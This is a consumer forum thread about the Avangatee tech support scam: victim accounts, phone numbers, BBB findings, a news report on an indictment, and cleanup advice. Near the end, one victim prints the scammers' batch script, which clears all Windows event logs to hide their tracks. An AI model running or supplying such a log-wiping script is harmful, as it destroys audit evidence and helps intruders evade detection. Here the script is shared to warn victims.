855-674-4268

It's a tech support scam.  They pretend to be AVG or Dell or some other computer company, then they connect remotely to your computer and show you that there are hackers trying to connect or some other bogus thing.

Then they tell you that you need to send them a check.  They scammed a very dear elderly friend out of $799 for a lifetime support package.

If you have call blocking software, it is likely their 800 numbers are blocked so they may use this number instead.

Other numbers used by Avangatee:

888.451.1603
888.608.9991
855.605.2323
855.662.4434
855.662.9936
866.674.4268
657.859.7135

From the California Secretary of State:

AVANGATEE SERVICES, LLC
Entity Number: 201523110092
Entity Address: 30685 HAYLAKE ST, HAYWARD CA 94544
Agent for Service of Process: INCORP SERVICES, INC. (C2294569)

There is no such address in Hayward, it seems possible that the real address is 30685 HOYLAKE ST, which is a residential address.

They ask checks to be mailed to:

699 Lewelling Boulevard #146/293
San Leandro, CA 94579

The San Leandro address is a PO Box at a Mailboxes ETC.

Avangatee Services LLC scammed me into letting them put $1249 in software on my PC, but will "let" me pay at the  end of March...with a check "do not use a credit card"..per them. They used phone numbers: 855-662-9936, 855-605-2323, and 855-662-4434. Both my wife and I are disabled, I am a Disabled Vet.

Have you paid them or not?  You mentioned the end of March, and I want to make sure.  If you have not paid, you might be able to fight this one in a couple of ways.   Post back and let us know!   There is could be some malware installed on your computer that should be removed to make sure these guys don't try and get tricky.

First do not pay them.  What sort of software would they have put on your computer for that much money?  You will need to take your computer to a real brick and mortar repair shop and have them look at it and remove any malware or spyware.  If they accessed your computer and you have financial information on there such as a bank web site with a user name and password, then you need to immediately notify them and change those passwords.  Do not do it using the computer these crooks accessed however.

I would also immediately disconnect that computer from the internet and not reattach it until it has been checked.

Further, file a report on this fraud with your state AG office and the California AG office using the information someone else posted above.

List of State AG’s offices:  http://consumerfraudreporting.org/stateattorneygenerallist.php
As well as the California AG’s Office:   http://oag.ca.gov/

Also file a complaint here:  http://www.ic3.gov/default.aspx

I would avoid paying them like the plague.

The BBB rates them a highly coveted F Rating.

http://www.bbb.org/greater-san-francisco/busi ... andro-ca-545285

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Avangatee Services LLC

(855) 605-2323View Additional Phone Numbers699 Lewelling Boulevard #146/293, San Leandro, CA 94579

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Factors that lowered Avangatee Services LLC's rating include:

   9 complaints filed against business
   Failure to respond to 9 complaints filed against business.

Customer Complaints Summary
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9 complaints closed with BBB in last 3 years | 9 closed in last 12 months
Complaint Type    Total Closed Complaints
Advertising / Sales Issues    3
Billing / Collection Issues    2
Problems with Product / Service    4
Delivery Issues    0
Guarantee / Warranty Issues    0
Total Closed Complaints     9

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Neutral Experience     0
Negative Experience     0
Total Customer Reviews     1 Customer Review

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Additional Information
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Avangatee came to the BBB's attention on November 6, 2015. Complaints on file state that consumers receive a phone call from a technician who advises them that their computer has been hacked and for a fee security software can be installed to prevent the problem and safeguard their information. The fee can range anywhere from $500.00 to $4,300.00.

A letter was sent to the company asking that they explain how the process works, how does the company become aware that a consumers computer has spyware or malware. BBB also asked the company to advise where they are located, where their customer service is located and if they subcontract technical work out
overseas.

The company did not respond to our request for information.

During our review of the file for Avangatee, BBB found that the address used by the company is a UPS Store and that the company's website was registered to Linda Massey who is also listed as the registered agent for Prime Technologies in Greenwood, South Carolina. For more information on Prime Technologies please visit http://www.bbb.org/upstatesc/business-reviews ... ood-sc-90007380.

BBB urges anyone contacted by a third party tech support company (particularly if you did not initiate contact) to not give over control of your computer, and to not provide credit card or financial information. If the caller pressures you to buy security products, hang up. If you have concerns about your computers security, BBB recommends calling your security software company directly.

If you are the victim of this scam BBB recommends you file a complaint with your local BBB at www.bbb.org , your local district attorney's office and the Federal Trade Commission at www.ftc.gov/complaint.
BBB file opened: 11/06/2015
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Avangatee Services LLC has received 2.32 out of 5 stars based on 1 Customer Review and a BBB Rating of F.

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Their address which is listed on the BBB website, is a UPS Store.

699 Lewelling Boulevard #146/293, San Leandro, CA 94579

https://sanleandro-ca-0290.theupsstorelocal.com/

Now, to the matter at hand:

You need to take your computer to a reputable place to have your computer checked out.

No, I have not...and will not pay them a cent.  I have an appointment today to take the laptop to my local computer shop to get rid of all the 7 programs they put into it...plus  they probably have put in a backdoor...I feel stupid for allowing this, but we are buying a new home and the Mortgage co said to protect our finances...and when these thieves showed me a screen that said my ID was hacked and Russians had hacked me, I panicked...never again after this stuff is removed from my PC.

I too was scammed on Feb. 13, 2016. The so called Tech said he was from Dell and had my Service Tag number. I felt very uneasy but I thought who else would have my Service Tag number besides Dell! He also said I was hacked after allowing him into my computer. He told me the only ways to clean my computer was to install software called SonicWall NSA 220. He told me he could transfer me to a local company (Advangatee Services LLC) and they would give me a good price and download it for me at the same time. I still wasn't comfortable but it was Dell who called! I spoke with Sarah in billing and she set me up and connected me to a technician to install this software. She also told me no credit cards, Debit card or Cashier Checks. Just send my check to 699 Lewelling Blvd. #l46/293, San Leandro, Ca. 94579 address.

After all of this took place I'm looking at my computer and see there are 6 new icons on my desktop. One was the Sonic wall, a malware something, cc Cleaner, and a couple more When I clicked on "properties" , it turned out that they only download the malware and CC Cleaner . At this point I contacted Dell explained exactly what happened. They cleaned up my computer and told me not to pay and to file a complaint with the Federal Trade Commission. They also recommended that if you receive a call from a so called technician again, make sure you ask for the Service Request Number. If they don't have it, they are not real.

I also have a couple of other phone numbers to add to the list:

844-620-1714
888-383-9896

For those of you who have no intention of paying have you had any repercussions?  It would be nice to hear back if you have.

Yea they called my husband this morning trying to scam us. My husband had let them take control of our computer. I asked how do we know they are not scammers. This Indian guy saying he was James Carter got mad at us saying hackers from Nigeria has our information and they are trying to take money out of our bank as we speak. He got mad at us. He said if he hang up the hackers will take all our money. They wanted a check $1989.00 for life time security support for our computer. I checked with BBB.  I called the real company Avangate. They said they sell no such product and I'm the second person calling about this.This is a scam. I unplugged my computer. I have to take it to clean it out. I also blocked their numbers. This company said they were part of Avangate but the are a smaller branch. But they were lying.

Quote:

My husband had let them take control of our computer

Since the scammers accessed the computer, they probably did one or more of the following:
• Disabled the anti-virus software
• Added nasty malware to the computer
• Copied the Contact List (so they can spam/email your soon-to-be ex-friends)
• Copied any financial data or passwords they could find
• Compromised your ID
• "Zombied" the computer, so it would respond to THEIR commands sent via internet
• Deleted some important files
• Asked for money to repair the damage they caused

What can you do immediately after such an attack?
1.  Pull the cables on the computer, or otherwise disable it, so it cannot access the internet.
2.  Change ALL  passwords stored on the computer.
3.  Run FULL malware scans on the computer, in "SAFE" mode!
4.  Change the passwords again, particularly if the malware scans showed anything.
5.  Inform your bank and credit card companies.
6.  Sign up for credit monitoring, and check the status frequently
7.  Backup non-executable personal, data files to an external storage device.  (Executable files might be infected).
8.  You may have to bring the computer to a local repair shop, and tell them the story.
9.  Tell friends what happened, so they can be aware of strange emails from you.
10.  Connect to the internet only AFTER all the above have been done.
11.  Change the passwords on all online accounts.  Even better - access a "safe", uninfected  computer, and change your online account passwords RIGHT NOW.

NOTE:
If your computer set a "Restore Point" while it was infected, any "System Restore" you make will re-infect your computer.  Suggest you delete any potentially infected restore points and avoid setting such restore points until after your computer has been thoroughly cleaned!

You fell for one scam, and might be susceptible to others mentioned on this site:
http://phonehelp.2truth.com/facts.html
Read that info to educate and help protect yourself!

Honest computer companies do NOT cold-call people, or cause popups from websites to tell them their computers need fixing!

Some scammers even have websites, and falsely advertise they are associated with popular software packages or computer companies; so do NOT believe a "we will fix your computer remotely" site, and allow them access to your computer!

Read the info at these links.
http://news.softpedia.com/news/Cold-Call-Tech ... on-150170.shtml
http://www.consumer.ftc.gov/articles/0346-tech-support-scams

Lesson:
If your computer needs fixing, bring it to a local repair shop

==========

Please reply to this post, to let us know you read it, or have taken suitable actions to protect yourself.

GREENWOOD, S.C. -
An Upstate woman is charged in connection with a multimillion dollar scam in which personal computers appear to have been shut down by hackers and a company demands payment to remedy the problem.

The Better Business Bureau released the information Wednesday to warn consumers about the scam.

A grand jury indictment said Linda Massey, of Greenwood, worked with a man named Aman Mehndiratta, in an operation that law enforcement said has stolen at least $5 million dollars.

Massey is charged with mail fraud, racketeering and money laundering and if convicted is liable for sums equal to or greater than $5,198,000.

The BBB currently has 123 complaints on file from Canada, the United States and Caribbean about the company, Prime Technologies LLC. The BBB is warning consumers to be wary of tech companies using a similar guise, since twelve different company names have been traced back to the LLC so far.

Consumers allege that initial contact is made either by a pop up that freezes the computer that includes a phone number prompt or a phone call insisting immediate action needs to be taken or there will be dire consequences.

Once this initial contact is made, the company weaves a tale about hackers attempting to sneak through firewalls or of a virus infecting the machine. Callers with the scam company say the computer has sent out a distress signal indicating the hacking or virus, and say they can fix the problem through remote access.

The scammers then install a series of programs to ensure you don’t have this problem again. These programs are malware enabling these individuals to enter and control your computer without your permission giving them unabridged access to personal and financial information as well as your computer activity.

Once the installation is complete the company will demand payment for a lifetime warranty to prevent the intrusion from happening again. If individuals refuse to pay the amount, the situation immediately escalates and the company shuts down the computer holding the device hostage until payment is completed.

Consumers who do pay for the service and lifetime warranty report that the hacking/lockdown happens again and again, with a reason given each time why the lifetime warranty doesn’t cover those services.

Once the company is granted access to a device, consumers report they are either brought to their event log or instructed to access their online banking information where this company can point out exactly where the intrusions happened.

One man lost $20,000 to this company before he realized he was being scammed, according to the BBB.

Consumers reported that refusing to pay escalates the scam from vulgar language, insults and threats to much more malicious behavior. Some consumers watch as their computer cameras turn on and they see themselves on screen, while a voice comes through the speakers threatening the individual's life and family.

One consumer was terrified when her refusal to pay caused her computer to be turned off and a message to come through the printer. After these incidents, the consumer reported that a message popped up on her desktop full of obscenities and threats which was immediately processed through her printer.

Massey told the BBB she initially made contact with the company because of a pop-up on her computer told her to call a number for PC Visor because of a virus.

During the call, she spoke with a man she referred to as "Andy," who she told the BBB is actually named Aman Mehndiratta, her co-defendant.

Massey said Mehndiratta contacted her multiple times, and convinced her to set up an LLC in South Carolina named Prime Technologies using her personal mailing address. Her only responsibility was to put the checks in the bank while collecting a commission on each check received.  She wired the balance of the money to Mehndiratta, the indictment.

The companies the BBB is warning consumers about include:

Prime Technologies LLC
Avangatee
PCaid24x7
Divine Tech
Prime & Tech Solutions
Prime Tech
Prime Tech Help
Prime Technology
Speeders PC
Superior Tech
Superior TechHelp
TechMind4u
Anyone who encounters the pop-up telling them to call for help is encouraged to take their computer to a professional technician.

My elderly friend who was hacked sent them a check for lifetime protection.  She told me about it before they cashed her check so I got her to stop payment.

They set a BIOS startup password unknown to her on her computer, so after she turned the computer off it would not boot without entering this password.  This, of course, would force her to call them since only they knew the password.

She hired a technician who pulled her drive out, copied the files off (at least the drive wasn't encrypted), then wiped it and reinstalled Windows.  I reinstalled all her software and restored her files.

She filed a complaint with the Secretary of State and BBB.  She asked for the return of her check and the money she spent to restore her computer.  Avangatee suddenly was calling to defend the "work" they did on her computer and to ask for the withdrawal of the complaints.  They actually tried to accuse her of having set the BIOS password (She's 84, right...).

I got a call from the BBB who said they are preparing an announcement about Avangatee and tech support scams like them and SOS is looking into it.

So strongly urge anyone who has been scammed to file a complaint with CA Dept. of Consumer Affairs:
CA Dept of Consumer Affairs Complaint Information

This company, Advangatee, called us and pretended to be Dell.  YES, they connected remotely to our computer to show us we were being hacked.  They wanted us to pay  7K to purchase software to stop the hackers.  TOTAL scam

Thanks to Slim, another registered poster here and computer whiz:

Since the scammers accessed the computer, they probably did one or more of the following:
• Disabled the anti-virus software
• Added nasty malware to the computer
• Copied the Contact List (so they can spam/email your soon-to-be ex-friends)
• Copied any financial data or passwords they could find
• Compromised your ID on Facebook or other social site(s), and perhaps on shopping sites.
• "Zombied" the computer, so it would respond to THEIR commands sent via internet
• Deleted some important files
• Asked for money to repair the damage they caused

What can you do immediately after such an attack?
1.  Pull the cables on the computer, or otherwise disable it, so it cannot access the internet.
2.  Change ALL  passwords stored on the computer.
3.  Run FULL malware scans on the computer, in "SAFE" mode!
4.  Change the passwords again, particularly if the malware scans showed anything.
5.  Inform your bank and credit card companies.
6.  Sign up for credit monitoring, and check the status frequently
7.  Backup non-executable personal, data files to an external storage device.  (Executable files might be infected).
8.  You may have to bring the computer to a local repair shop, and tell them the story.
9.  Tell friends what happened, so they can be aware of strange emails from you.
10.  Connect to the internet only AFTER all the above have been done.
11.  Change the passwords on all online accounts.  Even better - access a "safe", uninfected  computer, and change your online account passwords RIGHT NOW.

NOTE:
If your computer set a "Restore Point" while it was infected, any "System Restore" you make will re-infect your computer.  Suggest you delete any potentially infected restore points and avoid setting such restore points until after your computer has been thoroughly cleaned!

You fell for one scam, and might be susceptible to others mentioned on this site:
http://phonehelp.2truth.com/facts.html
Read that info to educate and help protect yourself!

Honest computer companies do NOT cold-call people, or cause popups from websites to tell them their computers need fixing!

Some scammers even have websites, and falsely advertise they are associated with popular software packages or computer companies; so do NOT believe a "we will fix your computer remotely" site, and allow them access to your computer!

Read the info at these links.
http://news.softpedia.com/news/Cold-Call-Tech ... on-150170.shtml
http://www.consumer.ftc.gov/articles/0346-tech-support-scams

https://www.microsoft.com/en-us/security/portal/mmpc/shared/ransomware.aspx

Lesson:
If your computer needs fixing, bring it to a local repair shop

Description of Incident

About a year ago I was contacted by Avangatee Services LLC stating that System Mechanic, inc saw traffic on my computer that needs immediate attention.  I told them that I hadn't used System Mechanic (which was a product AOL offered at one time) for years.  They said that they still had my account and they were contacted to call me about critical activity on my computer.  They ran a scan on my computer and stated that my IP address was compromised from a foreign address in Russia.  Because I trusted System Mechanic I believed that they were legitimate.  They said that they would put a NSA firewall on my computer and brought me to eBay, Amazon and others to show that the product that they would put on my machine costs over $500.00 and because of my past association with System Mechanic, and because I was considered a senior citizen I would get a discount.  They charged me $300.00 and loaded these shortcuts onto my computer and said don't touch them they are part of the protection. The payment receipt showed that Divine Tech Solutions were the vendor.  A year has gone by and now they are contacting me stating that my computer again was compromised and when I told them that,  if they were protecting my computer and how did it get compromised?  They said that hackers are getting more sophisticated and we need to update my firewall.  They again brought me to ebay, Amazon, Best Buy, etc. and showed prices of $3-4K for the NSA 3600 firewall.  He said again I would get a discount and could load the updated programs on my computer and it would only cost me $1,879.99  They ran a command scan and showed that Russia was to transfer $5,000 from my checking account and had the name of my bank and also the last 4 digits of my Chase credit card and showed that they were going to transfer $12,000 from my credit card.  Naturally I was scared and concerned and they loaded the icons and said to mail a check to them today.

Over the weekend I investigated what was loaded on my machine and tried to get into command prompt and was denied, so I looked further into what they loaded on my machine and decided that I would clean out my computer.  While copying files I noticed that the icons were image icons .ico files and the program icons were a .bat file that cleared info from the computer on 3 of the icons - all the same.  So, they are scaring people into using their services and the programs that are supposed to be put on your computer are only .bat files and .ico images for the icons.  No .dll files, no .cab files...no wonder they say don't touch the shortcuts, and don't let anyone service your computer...because you would find out that they are only adding garbage on your machine and charging thousands of $$$.  From what I have read is that there address is at a UPS/Mailbox pick location. There are numerous complaints through the BBB and the stories are all the same. I am not going to send them a check and I am taking steps to safeguard my accounts.  I plan to contact the San Francisco Attorney General's Office and file a complaint and contact Experian to monitor my accounts.  They keep calling to see if I sent out the check, but I don't want to speak with them until I have everything secured before I tell them I am not sending any money.

I have saved the .bat files and also saved the icon images.  Each 'supposed' program has the same .bat file.
This file is used to erase Window Event Logs so you can't trace where they were in your computer. Not a program purchased.

@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo goto theEnd
:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof
:noAdmin
exit

Information About The Subject(s) Who Victimized You
Name: Frank Steven Lambert and others
Business Name: Avangatee Service LLC
Address: 699 Lewelling Blvd, #146/293
Address (continued):
Suite/Apt./Mail Stop:
City: Leandro
Country: United States of America
State: California
Zip Code/Route: 94579
Phone Number: 8664082335

Numerous people have been scammed with the same tactics and have contacted the BBB; and the owner of the company is in litigation with the courts noted on the BBB site.

Above is the description that I submitted to the FBI -Internet Cyber Crime unit. https://www.ic3.gov/  I hope that the description of the types of icons they are putting on your machine and wish I knew more then.

Boy, u could do all tht and u still got scammed?